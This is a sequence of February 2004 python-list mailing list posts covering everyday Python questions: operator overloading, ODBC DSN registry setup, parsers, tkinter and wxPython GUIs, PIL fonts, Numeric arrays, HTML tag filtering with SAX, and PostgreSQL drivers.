In-Reply-To: <692feddd.0402021801.2605d14c@posting.google.com>
References: <692feddd.0402020252.7c1abcb@posting.google.com>	<bvlcnc$to62d$1@ID-198792.news.uni-berlin.de>
	<mailman.1121.1075723615.12720.python-list@python.org>
	<692feddd.0402021057.6ddbc5f4@posting.google.com>
	<bvmanb$2o7$05$1@news.t-online.com>
	<692feddd.0402021801.2605d14c@posting.google.com>
Message-ID: <bvn4ds$lld$1@news.service.uci.edu>

> My motivation is to learn about the limitations and capability of Python.

That is easy, Python can't do it.

> We could call it a useless case.

So why bother?  Oh yeah, "to learn about the limitations and capability 
of Python".

> I suspect that building an operator with un-obvious side effects
> is bad programming style.

Of course.  Building a comparison operator that creates arbitrary 
attributes on an argument is one, of many, examples of bad programming 
style.

> It's better to just use a simple function to do the assignment:
> aHouse = superAssign (myHouse)

I don't think that would do what you want.  All that would do is assign 
the name aHouse a reference to whatever is returned by 
superAssign(myHouse).  You aren't modifying what aHouse used to reference.

> I'd still like to build an arbitrary operator though.

It is not possible for all operators.  For a list of those operators 
that you /can/ overload, check the 'operator' module.

  - Josiah


From martin at v.loewis.de  Tue Feb 10 14:46:40 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 10 Feb 2004 20:46:40 +0100
Subject: Tix on Windows
In-Reply-To: <40286268$0$18303$afc38c87@news.optusnet.com.au>
References: <40272eda$0$5224$afc38c87@news.optusnet.com.au>
	<c07bdn$cqg$05$1@news.t-online.com>
	<40286268$0$18303$afc38c87@news.optusnet.com.au>
Message-ID: <c0bcet$ibu$01$2@news.t-online.com>

Sam wrote:

> hehe yes, I hope you meant 2.4 :) Has there been any release date set 
> for 2.4? even just some kind of approximation?

Yes, that's what I meant :-) No release date has been set, but sometime
in 2004 would be a good target, IMO.

Regards,
Martin



From mcfletch at rogers.com  Fri Feb 20 15:30:24 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 20 Feb 2004 15:30:24 -0500
Subject: Parsing library for Python?
In-Reply-To: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
Message-ID: <40366E60.7010208@rogers.com>

Viktor Rosenfeld wrote:

>Hi, 
>
>I need to create a parser for a Python project, and I'd like to use process
>kinda like lex/yacc.  I've looked at various parsing packages online, but
>didn't find anything useful for me:
>
>- PyLR seems promising but is for Python 1.5
>- Yappy seems promising, but I couldn't get it to work.  It doesn't even
>compile the main example in it's documentation
>- mxTexttools is way complicated.  I'd like something that I can give a BNF
>grammar to handle.
>  
>
SimpleParse is based on mxTextTools, but is EBNF-driven.  You can find 
it here:

    http://simpleparse.sourceforge.net/

Have fun,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From elainejackson7355 at home.com  Fri Feb 13 17:52:49 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Fri, 13 Feb 2004 22:52:49 GMT
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
	<c0jhce$17t8qa$1@ID-203708.news.uni-berlin.de>
Message-ID: <5zcXb.480227$JQ1.408230@pd7tw1no>

So far I've got a script that translates a pgn file into text that can be
typeset in a chess font to produce a pictorial representation of the game in
question. With a graphical interface it will eventually evolve into a pgn
viewer/analyzer.

"RPM1" <rpm1deleteme at direcway.com> wrote in message
news:c0jhce$17t8qa$1 at ID-203708.news.uni-berlin.de...
|
| "Elaine Jackson" wrote ...
| > I'm about to tackle tkinter, but here's the thing: The only kind of GUI I
| want
| > to work on is a chessboard (an 8x8 grid of images that can be "moved
| around").
| > So before I start, I'm asking the room at large: Is there some way of
| going
| > directly to what I'm interested in? Any help will be very much
| appreciated.
|
| Chess board huh?  What are you going to do with a chess board and
| python?
|
| Just curious, :-)
| Patrick
|
|
|




From rus20376 at salemstate.edu  Thu Feb  5 10:05:42 2004
From: rus20376 at salemstate.edu (omission9)
Date: 5 Feb 2004 07:05:42 -0800
Subject: configuring ODBC DSN with a python script
References: <mailman.1211.1075922693.12720.python-list@python.org>
Message-ID: <defa238f.0402050705.6d425348@posting.google.com>

"Robert Brewer" <fumanchu at amor.org> wrote in message news:<mailman.1211.1075922693.12720.python-list at python.org>...
> Jani Yusef wrote:
> > I am building an application which, unfortunately, *must* use an
> > access db. The users will have the relevane mdb file installed on
> > their system. As part of the installer. Now, the part I am stuck on is
> > how do I configure the ODBC dsn without having the user open up the
> > ODBC control panel which will in all honestly just scare and confuse
> > them. ;)
> > Has anyone approached this problem before? What did you do?
> > Thanks!!
> 
> I haven't ever run into this (I tend to write apps that will be
> installed by someone with a modicum of technical skill ;). However, the
> thought crosses my mind that ODBC entries are merely a lump of registry
> keys--you might just create or even copy those programatically. That
> would be  my  first attempt.
> 
> 
> Robert Brewer
> MIS
> Amor Ministries
> fumanchu at amor.org

Below is some code which more or less implements this. I recently had
to do a similar thing. I manually created a system dsn and then just
wrote code to recreate what I saw in regedit. Below is for a system
dsn for an access db called test2 which has a single table named
'puke'. Obviously you'll need to change a few strings but this should
more or less work as is.
I import _winreg to do the regedits but use mxODBC for the actual
querying
http://www.egenix.com/files/python/mxODBC.html
One thing is that the system dsn created works perfectly fine but for
whatever reason doesn't show up in the odbc control panel. I am not
very well versed in Windows specific programming so am not sure why
that is but would like to know why. Anybody know why that is?


------------------------- 
import mx.ODBC.Windows   

import _winreg as wreg

class access_interface:

    def __init__(self):  
        self.dsn_name="test2"
        self.dbq="C:\\cygwin\\home\\ar881\\development\\btsurveillance\\console\\db1.mdb"
        self.driver_path="C:\\WINNT\\System32\\odbcjt32.dll"
        self.driver_id=25
	self.fil="MS Access;"
	self.safe_transactions=0
	self.uid=""
	
	self.implicit_commit_sync=""
	self.max_buffer_size=2048
	self.page_timeout=5
	self.threads=3
	self.user_commit_sync="Yes"
	
	self.dsn_reg_key=None
        self.dsn_keyname="Software\\ODBC\\ODBC.INI\\%s" %
(self.dsn_name)
        
        self.engine_reg_key=None        
        self.engine_keyname="Software\\ODBC\\ODBC.INI\\%s\\Engines\\Jet"
% (self.dsn_name)
        
    def createDSN(self):
        try:
	    self.dsn_reg_key=wreg.OpenKey(wreg.HKEY_LOCAL_MACHINE,self.dsn_keyname)
	except:
            self.dsn_reg_key=wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE,self.dsn_keyname)
        try:
	    self.engine_reg_key=wreg.OpenKey(wreg.HKEY_LOCAL_MACHINE,self.engine_keyname)
	except:
            self.engine_reg_key=wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE,self.engine_keyname)
            
        if self.dsn_reg_key!=None and  self.engine_reg_key!=None:  
            self.setRegSZ(self.dsn_reg_key,"DBQ",self.dbq)
            self.setRegSZ(self.dsn_reg_key,"Driver",self.driver_path)
            self.setRegDWORD(self.dsn_reg_key,"DriverId",self.driver_id)
            self.setRegSZ(self.dsn_reg_key,"FIL",self.fil)
            self.setRegDWORD(self.dsn_reg_key,"SafeTransactions",self.safe_transactions)
            self.setRegSZ(self.dsn_reg_key,"UID",self.uid)
            wreg.CloseKey(self.dsn_reg_key)
            
            self.setRegSZ(self.engine_reg_key,"ImplicitCommitSync",self.implicit_commit_sync)
	    self.setRegDWORD(self.engine_reg_key,"MaxBufferSize",self.max_buffer_size)
	    self.setRegDWORD(self.engine_reg_key,"PageTimeout",self.page_timeout)
	    self.setRegDWORD(self.engine_reg_key,"Threads",self.threads)
            self.setRegSZ(self.engine_reg_key,"UserCommitSync",self.user_commit_sync)
            wreg.CloseKey(self.engine_reg_key)
    
    def setRegSZ(self,reg_key,reg_name,reg_value):
        wreg.SetValueEx(reg_key,reg_name,0,wreg.REG_SZ,reg_value)
        
    def setRegDWORD(self,reg_key,reg_name,reg_value):
        wreg.SetValueEx(reg_key,reg_name,0,wreg.REG_DWORD,reg_value)
    
    def getCursor(self):
        db=mx.ODBC.Windows.DriverConnect('DSN=test2;UID=user;PWD=passwd')
        c=db.cursor()
        return c 
        
    def getRows(self):
        c=self.getCursor()
        c.execute('select * from puke')
        mx.ODBC.print_resultset(c)
        
if __name__=="__main__":
    ai=access_interface()
    #ai.createDSN() 
    ai.getRows()


From sarmin_kho at yahoo.com  Thu Feb 26 07:58:07 2004
From: sarmin_kho at yahoo.com (sarmin kho)
Date: Thu, 26 Feb 2004 04:58:07 -0800 (PST)
Subject: Asterisk in Python
Message-ID: <20040226125807.13214.qmail@web9801.mail.yahoo.com>

Hi Pythoners...
 
I am definitely confused with the use of asterisk (*) sign in python...
I quoted the following code from 'python cookbook' text book page 223 about 'running functions in the future'...
 
it says:
def __init__(self,func, *param):
    bla bla bla...
 
then it says:
self.__result = func(*param):
 
it also says:
def Wrapper(self, func, param):
    bla bla bla...
 
my question is : what is the asterisk (*) sign for and what is the different between 'param' and ' *param ' ?? 
 
many thanks Pythoners...
 
regards...
sarmin
 
 


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From fumanchu at amor.org  Fri Feb  6 12:23:24 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Fri, 6 Feb 2004 09:23:24 -0800
Subject: configuring ODBC DSN with a python script
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561CFA@opus.amorhq.net>

omission9 wrote:
> "Robert Brewer" <fumanchu at amor.org> wrote in message 
> news:<mailman.1260.1076005686.12720.python-list at python.org>...
> > Jani Yusef wrote:
> > > I am building an application which, unfortunately, 
> > > *must* use an access db...
> > > how do I configure the ODBC dsn without having the
> > > user open up the ODBC control panel which will in
> > > all honesty just scare and confuse them. ;)
> > 
> > I opined:
> > > the thought crosses my mind that ODBC entries are merely a lump 
> > > of registry keys--you might just create or even copy those 
> > > programatically. That would be my first attempt.
> > 
> > and omission9 added:
> > > Below is some code which more or less implements this...
> > 
> > Great work! I knew *someone* must have tried that before. :)
> > 
> > > One thing is that the system dsn created works perfectly 
> fine but for
> > > whatever reason doesn't show up in the odbc control 
> panel. I am not
> > > very well versed in Windows specific programming so am 
> not sure why
> > > that is but would like to know why. Anybody know why that is?
> > 
> > First guess: you need an entry in
> > HKEY LOCAL MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC Data Sources
> OK, at the risk of strating to get a little OT.......
> That looks to be correct but when I go to modify ODBC Data Sources as
> I have with the other reg keys I get an access denied error. Any idea
> about that?

I don't think it's off-topic, really. It'd be nice IMO to have a stable
chunk of code to do this--it won't ever make the Library, but it'd be
great to have a complete solution on PyPI.

Regarding the error, that's a Windows NT/2k, etc permissions issue. Use
regedt32 to examine permissions on registry keys; on my 2k SP4 laptop,
the default for that key is that only Administrators and SYSTEM may
write that key. One commonly-adopted solution would be to require that
only Administrators install your package. Alternately, you could create
the keys in HKEY_CURRENT_USER instead of LOCAL_MACHINE. Personally, I
would give the deployer the option, either in a config file, or by
direct query during install, depending on the application.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From newsgroups at jhrothjr.com  Mon Feb  2 09:59:40 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Mon, 2 Feb 2004 09:59:40 -0500
Subject: Speed of attribute lookup (was Re: advice on programming style:
	is multiple inheritance bad?)
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
	<slrnc1r2id.ea6.joe@gate.notcharles.ca>
	<101rd69b9127s51@news.supernews.com>
	<bvkh00$38r$1@panix1.panix.com>
Message-ID: <101sphfjk91p42d@news.supernews.com>

"Aahz" <aahz at pythoncraft.com> wrote in message
news:bvkh00$38r$1 at panix1.panix.com...
> In article <101rd69b9127s51 at news.supernews.com>,
> John Roth <newsgroups at jhrothjr.com> wrote:
> >"Joe Mason" <joe at notcharles.ca> wrote in message
> >news:slrnc1r2id.ea6.joe at gate.notcharles.ca...
> >>
> >> When profiling a large app at work, we discovered that in C++ accessing
> >> every parent class after the first is quite slow.  We were able to just
> >> flip the order of inheritance for some classes, but if you're planning
a
> >> complex use of multiple inheritance you should keep that in mind.  (I'm
> >> just assuming it has the same effect in Python.)
> >
> >Actually, it doesn't. For new style classes, Python precomputes the
> >method resolution order, so looking up a method is simply flipping
> >through a list of dictionaries until it finds the right one. It's
> >basically O(n) in the number of classes in the hierarchy.
> >
> >Given that you can add or remove attributes from any class at any time,
> >it's hard to see how it could be any faster.
>
> Actually, it's easy to see how it could be faster:

> The problem with attribute lookup in new-style classes is that any
> instance attribute could be a property.  So if Python finds an attribute
> on the instance, it needs to traverse the MRO to check if there's a
> property.  If there isn't one, that's an expensive waste.

I thought about that when new style classes came out, and managed
to convince myself that it couldn't happen, at least with data
properties. Unless trying to set the *same* attribute from the
setter invoked from the property actually works? That seems like
a lot of work to make it function poorly.

John Roth

> -- 
> Aahz (aahz at pythoncraft.com)           <*>
http://www.pythoncraft.com/
>
> "The joy of coding Python should be in seeing short, concise, readable
> classes that express a lot of action in a small amount of clear code -- 
> not in reams of trivial code that bores the reader to death."  --GvR




From koelle1 at uni-weimar.de  Tue Feb 17 16:19:41 2004
From: koelle1 at uni-weimar.de (=?ISO-8859-1?Q?paul_k=F6lle?=)
Date: Tue, 17 Feb 2004 22:19:41 +0100
Subject: hmm, lets call it: generic __init__  problem
Message-ID: <c0u0fa$1asj0f$1@ID-131134.news.uni-berlin.de>

Hi list,

in the course of writing a small app, I tried to design a class, which 
would allow to derive its behaviour solely from its name, so that I 
would be able to write one abstract class with the logic and get 
different objects/instances by subclassing with appropriate names. 
Consider the following:

ATTRS = {'one':['attr1', 'attr2'],
	 'two':['attr3','attr4'],
	 'three':['attr5','attr6'],
	 'four':['attr7','attr8']}


class one:
	def __init__(self, *args, **kwargs):
		## get allowed attributes...
		for attr in ATTRS[self.__class__.__name__]:
			self.__dict__[attr] = ''

		## unknown attributes are silently ignored...
		for item in kwargs.keys():
			if self.__dict__.has_key( item ):
				 self.__dict__[item] = kwargs[item]
			else:
				 pass
		## init all parents...
		parents = self.__class__.__bases__
		if parents:
			for i in range(len(parents)):
			apply(parents[i].__name__.__init__,\ 								(self,)+args, kwargs)



class two(one):
	def foo(self):
		pass

class three(one):
	def bar(self):
		pass

class four(two, three):
	def wiskey_bar(self):
		pass

So running:
 >>> o = funClass.one()
 >>> dir(o)
['__doc__', '__init__', '__module__', '__str__', 'attr1', 'attr2']
 >>> o.attr1
''

and:
 >>> o = funClass.one( attr1='spam', attr2='chicks')
 >>> o.attr2
'chicks'

but:
 >>> dir(o)
['__doc__', '__init__', '__module__', '__str__', 'attr7', 'attr8', 
'bar', 'foo', 'wiskey_bar']

I expected to have all attrs from all parents initialized from:
parents = self.__class__.__bases__
if parents:
	for i in range(len(parents)):
		apply(parents[i].__name__.__init__,\ 								(self,)+args, kwargs)

in the __init__ method. But apparently I have misunderstood the 
self.__class__.__bases__ thingy as it does not do what I want ;(

Apart from the obvious mistake I can't figure out:
	1) Is this intelligent at all?
	2) Is there a better way to do it?
	3) How do you change tabwidth in mozilla mail?

thanks
  Paul


From dcarrera at math.umd.edu  Tue Feb 17 10:33:29 2004
From: dcarrera at math.umd.edu (Daniel Carrera)
Date: Tue, 17 Feb 2004 10:33:29 -0500
Subject: Parsers with Python
In-Reply-To: <20040217150108.GA8723@mail.theserver.ath.cx>
References: <20040217151807.GA1179@math.umd.edu>
	<20040217150108.GA8723@mail.theserver.ath.cx>
Message-ID: <20040217153329.GA1188@math.umd.edu>


Thanks!


On Tue, Feb 17, 2004 at 10:01:08AM -0500, Jonathan Daugherty wrote:
> # I want to write a parser for BibTeX.  A BibTeX file is a collection of 
> # entries that look like this:
> 
> There is a package called python-bibtex in debian, which can otherwise
> be obtained at
> 
> http://sourceforge.net/project/showfiles.php?group_id=4825
> 
> near the bottom of the page.  The package claims to include a bibtex
> parser.
> 
> --
> 
>   Jonathan Daugherty
>   http://www.cprogrammer.org
> 
>   "It's a book about a Spanish guy called Manual, you should read it."
>                                                             -- Dilbert
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

-- 
Daniel Carrera | No trees were harmed in the generation of this  e-mail.
PhD student.   | A significant number of electrons were, however, severely 
Math Dept. UMD | inconvenienced.




From stefnin at alussinan.org  Mon Feb  9 12:47:16 2004
From: stefnin at alussinan.org (Stéphane Ninin)
Date: 09 Feb 2004 17:47:16 GMT
Subject: fonts in PIL ?
References: <Xns9489E52CDD393stefninnospamyahoofr@213.228.0.4>
	<c08b7s$13ui42$1@ID-130333.news.uni-berlin.de>
Message-ID: <Xns948ABF759C2E3stefninalussinanorg@212.27.42.68>

Also sprach Cousin Stanley :

> [ ..] 

  I had a quick look at it and at the pilfonts...  

Just one last question:
am I dreaming or all fonts are in white ?
(and so cannot be seen if you have a white background) ?

Or is there a way to set the color of text ?
 
  Regards,



-- 
  St?phane Ninin



From maarten at remove_this_ws.tn.tudelft.nl  Fri Feb  6 09:35:07 2004
From: maarten at remove_this_ws.tn.tudelft.nl (Maarten van Reeuwijk)
Date: Fri, 06 Feb 2004 15:35:07 +0100
Subject: transfer undefined class methods to attribute's method [Numeric
	array]
Message-ID: <c008mr$86v$1@news.tudelft.nl>

I am constructing a "placeholder array" to mimick Numeric arrays. I have a
3D regular structured domain, so I can describe the axis with 3 1D arrays
x[], y[] and z[]. All the variables defined on this field (temperature,
velocity) are 3D-fields, and to treat everything the same, I want to have
x,y and z also as a 3d-array. However, as one field is typically 100 Mb, I
do not want to create these arrays, but instead define a class that mimicks
this. 

I have succeeded in doing this (see code below), but now I want to transfer
any unknown class methods to the in-line created variable, something like:

def process_unknownmethod(self, method, args)
        exec(self[:].method(args))

How do I do this in python?

TIA, Maarten


Here's the class (sorry for the long class)

from Numeric import *

class PlaceHolder:
        def __init__(self, axis, dims, arr):
                self.axis = axis
                self.arr = arr
                self.dims = dims

        def __interpretkey(self, axis, key):
                if type(key) == int:
                        sl = slice(key, key+1,1)
                else:
                        # interpret the slice object
                        start = key.start
                        if (start == None): 
                                if not (key.stop == None):
                                        start = key.stop
                                else:
                                        start == 0
                        if start < 0:
                                if start > - self.dims[axis]:
                                        start = self.dims[axis] + start
                                else:
                                        start = 0

                        stop = key.stop
                        if stop == None or stop == sys.maxint:
                                stop = self.dims[axis]
                        if stop < 0:
                                if stop > - self.dims[axis]:
                                        stop = self.dims[axis] + stop
                                else:
                                        stop = 0

                        step = key.step
                        if not step: step = 1

                        sl = slice(start, stop, step)

                return sl

        def __getitem__(self, key):
                sl = []

                # if it's only one argument, make it into a tuple
                if not ((type(key) == tuple) or (type(key) == list)):
                        key = (key,)

                # determine ranges
                for i, rng in enumerate(key):
                        sl.append(self.__interpretkey(i, rng))

                # extend for missing dimensions
                for i in range(len(key), len(self.dims)):
                        sl.append(slice(0, self.dims[i], 1))

                # swap values for indices
                sl[0], sl[self.axis] = sl[self.axis], sl[0]
                base = self.arr[sl[0]]

                # create an array
                for n, i in enumerate(sl):
                        l = int(abs(float(i.stop - i.start)) / abs(i.step)+0.5)
                        if n > 0:
                                base = add.outer(base, zeros(l))

                base = swapaxes(base, 0, self.axis)

                # remove the dimensions of length 1

                rdims = []
                for i in range(rank(base)):
                        if base.shape[i] <= 1:
                                rdims.append(i)

                rdims.sort()
                rdims.reverse()

                for i in rdims:
                        base = add.reduce(base, i)

                return base


# example starts here

a = arange(10.)
y = PlaceHolder(1, [10, 10, 10], a)

print y[1, :, 10]
print y[1, 3]

-- 
===================================================================
Maarten van Reeuwijk                    Thermal and Fluids Sciences
Phd student                             dept. of Multiscale Physics
www.ws.tn.tudelft.nl                 Delft University of Technology


From jcarlson at nospam.uci.edu  Tue Feb  3 22:48:46 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Tue, 03 Feb 2004 19:48:46 -0800
Subject: OT: Recommended news reader?
In-Reply-To: <4f0a9fdb.0402031309.fde7220@posting.google.com>
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
Message-ID: <bvpq77$82s$1@news.service.uci.edu>

> Which news reader do you recommend?
> Currently I use Google Groups and find it a bit to dull.

Mozilla Thunderbird
http://mozilla.org


From fumanchu at amor.org  Thu Feb 12 18:58:09 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Thu, 12 Feb 2004 15:58:09 -0800
Subject: Simple allowing of HTML elements/attributes?
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D39@opus.amorhq.net>

Alan Kennedy wrote:
> The optimal solution, IMHO, is to tidy the HTML into XML, and then use
> SAX to filter out the stuff you don't want. Here is some code that
> does the latter. This should be nice and fast, and use a lot less
> memory than object-model based approaches.
> 
> #-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
> import xml.sax
> import cStringIO as StringIO
> 
> permittedElements = ['html', 'body', 'b', 'i', 'p']
> permittedAttrs = ['class', 'id', ]
> 
> class cleaner(xml.sax.handler.ContentHandler):
> 
>   def __init__(self):
>     xml.sax.handler.ContentHandler.__init__(self)
>     self.outbuf = StringIO.StringIO()
> 
>   def startElement(self, elemname, attrs):
>     if elemname in permittedElements:
>       attrstr = ""
>       for a in attrs.keys():
>         if a in permittedAttrs:
>           attrstr = "%s " % "%s='%s'" % (a, attrs[a])
>       self.outbuf.write("<%s%s>" % (elemname, attrstr))

Very interesting, Alan! I rolled my own solution to this the other day,
relying more on regexes. This might be more usable.

One issue: the parser, as written, mangles well-formed xhtml tags like
<br /> into <br></br>. Any recommendations besides brute-force (keeping
a list of allowed empty tags) for dealing with this?


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From http  Mon Feb  9 21:06:29 2004
From: http (Paul Rubin)
Date: 09 Feb 2004 18:06:29 -0800
Subject: Unix domain sockets / IPC - how to get remote process/user id?
References: <78c7ca81.0402091539.82af1cb@posting.google.com>
Message-ID: <7xu11zpu1m.fsf@ruckus.brouhaha.com>

gogr at fossie.net (Fossie) writes:
> So, for my question: What are my options? I cannot believe I am the
> first with this problem. Preferable, only standard python packages
> should be used.

Unfortunately that capability is missing from the sockets package.  I
have a bug in sourceforge about it and was invited to contribute a
patch but haven't gotten around to it.  Maybe you'd like to take a turn?



From pilu at dr-brown.net  Thu Feb 19 08:53:05 2004
From: pilu at dr-brown.net (Pilu)
Date: Thu, 19 Feb 2004 13:53:05 GMT
Subject: wxGlade
Message-ID: <5d3Zb.342281$_P.11746432@news4.tin.it>

hi,given that I'm a newbie in python,
I have a little problem with wx...
Maybe it's a stupid thing,but if u want help me!
I used  wxglade to generate a simple  window with a button!
wxglade generates the code,and now I try to insert  events,but I have an 
error,I don't understand!
The code is this:

from wxPython.wx import *

class MyFrame(wxFrame):
     def __init__(self, *args, **kwds):
         # begin wxGlade: MyFrame.__init__
         kwds["style"] = wxDEFAULT_FRAME_STYLE
         wxFrame.__init__(self, *args, **kwds)
         self.button_1 = wxButton(self, -1, "button_1")

         self.__set_properties()
         self.__do_layout()
         # end wxGlade
         EVT_BUTTON(self, 1003, self.event)

     def __set_properties(self):
         # begin wxGlade: MyFrame.__set_properties
         self.SetTitle("frame_1")
         # end wxGlade

     def __do_layout(self):
         # begin wxGlade: MyFrame.__do_layout
         sizer_1 = wxBoxSizer(wxVERTICAL)
         sizer_1.Add(self.button_1, 0, 0, 0)
         self.SetAutoLayout(1)
         self.SetSizer(sizer_1)
         sizer_1.Fit(self)
         sizer_1.SetSizeHints(self)
         self.Layout()
         # end wxGlade
     def event(self):
         print "ciao"

# end of class MyFrame


class MyApp(wxApp):
     def OnInit(self):
         frame = MyFrame(NULL, -1, "Hello from wxPython")
         frame.Show(true)
         self.SetTopWindow(frame)
         return true

app = MyApp(0)
app.MainLoop()





Thanks
-pilu-


From scrutinizer at gmx.at  Mon Feb  2 15:56:07 2004
From: scrutinizer at gmx.at (Francesco)
Date: Mon, 02 Feb 2004 21:56:07 +0100
Subject: wxPython issues
References: <ssaq10pipoj5c8hn7pjcm2r1o0vvf9j8j2@4ax.com>
	<bvk4m4$rna$1@news.service.uci.edu>
Message-ID: <b6et10l67pa22s4sf34tp646efd7ip78t9@4ax.com>

On Sun, 01 Feb 2004 16:10:37 -0800, Josiah Carlson
<jcarlson at nospam.uci.edu> wrote:

Hello Josiah,

thank you for your answer,

>
>>     #wxpython: do not use this
>>     ????#wxYield()
>>     #//wait for GUI to end with owerwrite dialog
>
>wxYield only makes sense when called from the main thread.  The main 
>thread should be the only thread that is handling GUI events.

Aha; the original program used this in a worker thread.

>
>
>What I would do is:
>     def OnOverwriteDlg(self, event):
>         print "OnOverwriteDlg"
>         dlg = COverwriteDlg ()
>         dlg.m_strInfo = g_strTitle
>         g_nGuiResult = dlg.ShowModal()
>         print g_nGuiResult
>         return g_nGuiResult
>
>Toss the semaphores, toss the worker threads, etc.  If saving takes so 
>much time, then you can do what I describe farther down.
>

No, the thing is:

It is a (still primitive) filemanager, where copy should be run in a
worker thread
in background (you can copy 1 GB file), and you should be able to work
with the
program without waiting

>[snip]

Thanks for this clarification

regards,
-- 
Francesco


From davecook at nowhere.net  Tue Feb  3 02:57:06 2004
From: davecook at nowhere.net (David M. Cook)
Date: Tue, 03 Feb 2004 07:57:06 GMT
Subject: How do you get the Postgresql Python 2.3 or above?
References: <mailman.1104.1075658556.12720.python-list@python.org>
Message-ID: <slrnc1ul2i.3eu.davecook@localhost.localdomain>

In article <mailman.1104.1075658556.12720.python-list at python.org>, Benjamin
Arai wrote:

> There is a module that compiles for Python in PostgreSQL that compile
> but it is only for Python 2.2.  How do you make it compile for 2.3?

Use psycopg or pyPgSQL.  The one that comes with Postgres, pygresql, is
out-of-date, though it is supposed to merge with popy at some point.
AFAICT, pygresql can't handle 2.3 Bools, at least I can't figure out how to
do it without converting each time.

http://initd.org/software/initd/psycopg
http://pypgsql.sourceforge.net/

Dave Cook


From max at alcyone.com  Mon Feb  2 21:25:25 2004
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 02 Feb 2004 18:25:25 -0800
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>
	<e838aa6e.0402020730.3d45c9b1@posting.google.com>
	<711c7390.0402021729.fcf22a1@posting.google.com>
Message-ID: <401F0695.58469996@alcyone.com>

Daniel Ehrenberg wrote:

> Whenever a new, more powerful
> programming language comes out, everybody says it's too flexible.
> Fortran people were saying that about C, C people were saying it about
> C++ and Java, ...

C people were saying that about Java?

Look, you like Io better than Python.  Fine.  You're not going to be
convincing others that you're right by simply repeating it over and over
again.  Io and Python cater to different styles; if your personal style
is more in sync with Io, then so be it.  But someone whose personal
style is more in sync with Python than Io is simply not going to be
swayed by your largely stylistic arguments.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ I just want to create my own life. I can just be me.
    -- Ekene Nwokoye


From max at ucmg.com.ua.remove.it  Tue Feb 10 02:43:50 2004
From: max at ucmg.com.ua.remove.it (Max Ischenko)
Date: Tue, 10 Feb 2004 09:43:50 +0200
Subject: CoInitialize error when using adodbapi
In-Reply-To: <mailman.1385.1076362428.12720.python-list@python.org>
References: <mailman.1385.1076362428.12720.python-list@python.org>
Message-ID: <c0a216$vue$2@hyppo.gu.net>

Geoffrey Talvola wrote:

> In Webware, you need to add 'EnableCOM': 1 to your AppServer.config file.
> This will automatically cause CoInitialize to be called in each of the
> worker threads.

Thanks a lot!

It helps and saved my day.


From bart_nessux at hotmail.com  Wed Feb 11 16:53:36 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 11 Feb 2004 16:53:36 -0500
Subject: sets and subsets
In-Reply-To: <4gxWb.39659$P17.14674@fed1read03>
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <zcxWb.464065$JQ1.270296@pd7tw1no>
	<4gxWb.39659$P17.14674@fed1read03>
Message-ID: <c0e890$6hu$1@solaris.cc.vt.edu>

Works great too. Thanks to all for the info.

Amy G wrote:
> There you go... list comprehension.  That is definatly nicer to look at.
> 
> 
> "Elaine Jackson" <elainejackson7355 at home.com> wrote in message
> news:zcxWb.464065$JQ1.270296 at pd7tw1no...
> 
>>b=[x for x in b if x not in c]
>>
>>"Bart Nessux" <bart_nessux at hotmail.com> wrote in message
>>news:c0e4g3$r1$1 at solaris.cc.vt.edu...
>>| By using lists, I can create sets of number. Suppose I have three lists.
>>| One list is the super-set, one is a set that contains all the numbers
>>| (just like the super-set) and the last is sub-set of the super-set. For
>>| example:
>>|
>>| a = [1,2,3,4,5] # The super-set.
>>| b = [1,2,3,4,5] # Looks just like the super-set, but it's not.
>>| c = [2,4] # A sub-set
>>|
>>| I'd like to remove 2 & 4 from set b BECAUSE they are present in set c...
>>| this would make the sets look like this:
>>|
>>| a = [1,2,3,4,5]
>>| b = [1,3,5]
>>| c = [2,4]
>>|
>>| How do I test set c to find what it contains and then look at set b to
>>| see if it contains any of those same numbers, and if so, remove them.
>>|
>>
>>
> 
> 
> 



From peter at engcorp.com  Wed Feb 18 14:55:14 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 14:55:14 -0500
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<mailman.86.1077050210.31398.python-list@python.org>
	<a8623416.0402181148.20865556@posting.google.com>
Message-ID: <4033C322.CCBCBA85@engcorp.com>

Corey Coughlin wrote:
> 
> It is a difficult problem, but I don't think it's completely
> insurmountable.  Take some programmers right out of school, or just a
> general population of people, give them training in language X for a
> fixed period of time, set them up to perform some task, and see how
> long it takes them.  Sure, some of them will be better programmers
> than others, but with a large enough sample population you should be
> able to draw some conclusions on the average, if there is an effect to
> be measured.  And yes, the bigger the population, the better the
> results, so it would be fairly expensive to conduct, but still, you
> could draw conclusions.  Getting funding would be tricky, though,
> that's a given.

And this only looks at productivity for new programmers, which might
